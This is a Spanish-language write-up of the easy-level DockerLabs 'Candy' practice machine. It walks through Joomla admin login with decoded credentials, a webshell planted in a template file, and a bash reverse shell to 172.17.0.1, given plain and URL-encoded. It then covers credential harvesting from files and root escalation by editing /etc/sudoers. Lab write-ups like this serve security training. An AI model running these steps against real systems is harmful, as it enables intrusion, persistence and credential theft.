DockerLabs Candy

DockerLabs Candy

Esta es una máquina de DockerLabs de nivel fácil

·

4 min read

Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.

Descargamos el archivo de la página dockerlabs.es/#

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos

Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.

Como tenemos la dirección IP realizamos el escaneo para ver qué puertos tenemos disponibles y podemos observar que solo tenemos el puerto 80. Así también podemos observar que tenemos varios nombres de directorios.

Al dirigirnos al navegador e ingresar la dirección IP podemos observar lo siguiente.

Como en el escaneo de la dirección IP observamos que en el archivo robots.txt identifico varios directorios nos dirigimos a este y podemos observar que además de los directorios tenemos unas credenciales.

admin:c2FubHVpczEyMzQ1

Nos dirigimos al directorio de administrator y podemos observar que es el panel de login de joomla y luego ingresamos las credenciales.

Pero nos indica que son erróneas.

Revisando el password parece raro, y observando parece que está en base 64. Usamos un echo para ver el texto y tenemos el password.

sanluis12345

Ingresamos con esas credenciales y ya estamos dentro.

Modificaremos un template para incluir un webshell. Vamos system y seleccionamos site templates.

Seleccionamos el template.

Luego de ello seleccionamos el archivo error.php donde agregamos un texto para observar si podemos ejecutar comandos y guardamos.

Nos dirigimos a una página que no existe para que nos dé error y podamos observar el texto que agregamos.

Con esto validado, agregamos una webshell simple en el archivo error.php.

Volvemos a la página anterior donde agregamos el parámetro cmd y un comando, podemos observar que tenemos respuesta.

Para obtener una shell enviamos una bash

bash -c \ "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1\ "'

pero la URL-encodeamos para no tener problemas

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22

antes de enviar la consulta iniciamos nuestro listener.

Enviamos la petición agregando la bash que URL-encodeamos y podemos observar que ya tenemos acceso.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola. Una vez dentro realizamos un sudo -l y podemos observar que no tenemos el password.

Listamos los archivos de la carpeta joomla y observamos un archivo llamado configuration.php, lo abrimos y podemos observar un usuario y un password de la base de datos.

joomla_user:luisillo123456
joomla_db

Ingresamos las credenciales para conectarnos y tenemos acceso.

Listamos las bases de datos, pero solo contamos con la que nos indicaba el archivo.

Listando las tablas podemos observar que tenemos la tabla umo54_users.

Listamos el contenido, pero solo existe el usuario admin del cual ya tenemos el password.

Ya que no tenemos más información vamos a la carpeta home y podemos observar que hay un usuario luisillo, pero no podemos acceder a su directorio.

Como el usuario es Luisillo probamos usando la credencial de Joomla, pero no es correcta.

Vamos a la carpeta raíz y buscamos archivos que le pertenezcan a luisillo podemos observar que tenemos uno.

Abrimos el archivo y podemos observar unas credenciales.

luisillo:luisillosuperpassword

Probamos esas credenciales y ya somos Luisillo.

Nos dirigimos a la carpeta de luisillo, listamos archivos y observamos que tenemos un archivo oculto.

Pero es el mismo password que tenemos.

Realizamos un sudo -l y podemos observar que tenemos una manera de escalar privilegios.

Buscando en la página GTFOBins podemos observar como realizar el abuso de este binario.

Para escalar privilegios agregaremos a luisillo con todos los permisos en la carpeta /etc/sudoers.

De esta manera ya somos root y culminamos de manera exitosa esta máquina.